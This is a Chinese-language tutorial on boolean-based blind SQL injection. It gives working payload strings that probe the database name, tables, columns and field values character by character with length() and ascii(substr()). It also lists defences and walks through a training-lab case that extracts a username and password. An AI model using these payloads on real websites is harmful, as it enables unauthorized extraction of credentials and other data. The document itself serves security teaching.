SQL注入-布尔盲注详解
字数 1068 2025-08-11 08:36:11
布尔盲注详解与技术实践
一、布尔盲注定义与原理
布尔盲注(Boolean-based Blind SQL Injection)是一种SQL注入技术,适用于以下场景:
- 改变前端传输给后台的SQL参数时
- 页面没有显示相应内容也没有显示报错信息
- 页面仅呈现两种状态:正常或不正常
通过观察这两种状态可以判断输入的SQL语句是否执行成功,当无法使用联合查询注入和报错注入时,布尔盲注成为可行方案。
二、布尔盲注适用环境
满足以下条件时可考虑布尔盲注:
- 页面只有成功和失败两种明显不同的响应状态
- 无法通过常规注入技术直接获取数据
- 服务器不返回详细的错误信息
三、布尔盲注基本流程
1. 判断注入点存在性
- 使用
and 1=1正常返回 - 使用
and 1=2异常返回 - 使用
order by判断字段数
2. 判断数据库类型
通过特定系统表判断数据库类型:
-- MySQL
and exists(select * from information_schema.tables)--
-- Access
and exists(select * from msysobjects)--
-- SQL Server
and exists(select * from sysobjects)--
3. 数据库名探测
3.1 判断数据库名长度
and length(database())>10--
3.2 逐字符判断数据库名
不同数据库的字符串截取函数:
- MySQL:
substr(str,pos,len)或substring(str,pos,len) - Oracle:
substr(str,pos,len) - SQL Server:
substring(str,pos,len)
示例:
and ascii(substr(database(),1,1))>100--
4. 表名探测
4.1 判断表的数量
and (select count(table_name) from information_schema.tables where table_schema=database())=2--
4.2 判断表名长度
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--
4.3 逐字符判断表名
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110--
5. 列名探测
5.1 判断列的数量
and (select count(column_name) from information_schema.columns where table_name='member' and table_schema='stormgroup')=3--
5.2 判断列名长度
and length((select column_name from information_schema.columns where table_name='member' limit 0,1))>10--
5.3 逐字符判断列名
and ascii(substr((select column_name from information_schema.columns where table_name='member' limit 0,1),1,1))=110--
6. 数据内容提取
6.1 判断字段值长度
and length((select name from member limit 0,1))>5--
6.2 逐字符判断字段值
and ascii(substr((select name from member limit 0,1),1,1))>110--
四、技术优化与工具使用
- 自动化工具:使用Burp Suite等工具进行遍历,提高效率
- 二分法:通过二分法快速定位字符的ASCII码值
- 条件优化:合理设计判断条件减少请求次数
五、防御措施
- 使用参数化查询(Prepared Statements)
- 实施严格的输入验证
- 最小权限原则,限制数据库用户权限
- 禁用详细的错误信息返回
- 使用Web应用防火墙(WAF)
六、实战案例
以墨者靶场为例:
- 确认注入点:
id=1'导致页面无返回 - 判断数据库类型为MySQL
- 确定数据库名"stormgroup"长度为10
- 发现两个表:"member"和"notice"
- 从"member"表中提取出三列:"name"、"password"、"status"
- 最终获取到用户名"mozhe"及其密码
通过这种系统化的方法,即使在没有直接数据回显的情况下,攻击者也能逐步提取出数据库中的敏感信息。